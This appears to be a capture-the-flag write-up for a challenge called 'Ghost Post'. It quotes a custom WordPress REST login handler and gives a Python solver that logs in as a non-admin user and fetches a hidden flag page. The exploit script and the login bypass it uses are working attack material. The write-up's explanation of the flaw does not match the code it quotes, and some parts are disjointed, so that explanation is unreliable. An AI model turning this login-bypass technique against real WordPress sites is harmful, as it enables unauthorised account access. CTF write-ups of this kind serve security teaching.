Ghost Post

Solves 23

The endpoint /wp-json/ghostly/v1/login is a custom REST route in the WordPress backend. Here’s the kicker:

Here’s the vulnerable PHP handler logic (as reverse-engineered from the behavior):

register_rest_route('ghostly/v1', '/login', [
    'methods'             => 'POST',
    'callback'            => 'ghostly_login_handler',
    'permission_callback' => '__return_true',
]);

function ghostly_login_handler(WP_REST_Request $request) {
    $username = $request->get_param('user');
    $password = $request->get_param('pass');

    $existing_user = username_exists($username);

    if (empty($username) || empty($password) || !$existing_user) {
        return new WP_REST_Response(['error' => 'Invalid credentials'], 403);
    }

    if (user_can($existing_user, 'manage_options')) {
        return new WP_REST_Response(['error' => 'Keep your site secure! Don\'t use administrator accounts!'], 403);
    }

    $user = wp_authenticate_application_password(null, $username, $password);
    if (is_wp_error($user)) {
        return new WP_REST_Response(['error' => 'Invalid credentials'], 403);
    }

    ghostly_set_secure_cookie("ghostly_id", $user->ID);
    ghostly_set_secure_cookie("ghostly_logged_in", true);

    return new WP_REST_Response(['success' => 'Ghost session established'], 200);
}

This effectively means: if you know a username, and it's not an admin, you're in.

Solver

The following Python script logs into the ghosty user account via the insecure endpoint and reads the contents of /ghost-view/ — where the flag is hidden.

import httpx
import asyncio, os, base64
from urllib.parse import urlencode

URL = "<http://localhost>"
URL = "<http://18.140.17.89:9180/>"

class BaseAPI:
    def __init__(self, url=URL) -> None:
        self.c = httpx.AsyncClient(base_url=url)

    def app_password(self, username, password):
        """
            register_rest_route('ghostly/v1', '/login', [
        'methods'             => 'POST',
        'callback'            => 'ghostly_login_handler',
        'permission_callback' => '__return_true',
    ]);

function ghostly_login_handler(WP_REST_Request $request) {

    $username = $request->get_param('user');
    $password = $request->get_param('pass');

    $existing_user = username_exists($username);

    if (empty($username) || empty($password) || !$existing_user) {
        return new WP_REST_Response(['error' => 'Invalid credentials'], 403);
    }

    if (user_can($existing_user, 'manage_options')) {
        return new WP_REST_Response(['error' => 'Keep your site secure! Don\'t use administrator accounts!'], 403);
    }

    $user = wp_authenticate_application_password(null, $username, $password);
    if (is_wp_error($user)) {
        return new WP_REST_Response(['error' => 'Invalid credentials'], 403);
    }

    ghostly_set_secure_cookie("ghostly_id", $user->ID);
    ghostly_set_secure_cookie("ghostly_logged_in", true);

    return new WP_REST_Response(['success' => 'Ghost session established'], 200);
}

        """
        return self.c.post("/index.php/wp-json/ghostly/v1/login", data={
            "user": username,
            "pass": password
        })
class API(BaseAPI):
    ...

async def main():
    api = API()
    res = await api.app_password("ghosty", "123")
    print(res.text)
    res = await api.c.get("/ghost-view/")
    # res = await api.app_password("dimas123", "123")
    print(res.text)
    
    

if __name__ == "__main__":
    asyncio.run(main())

Flag

image.png

Open Contributions

Solves 36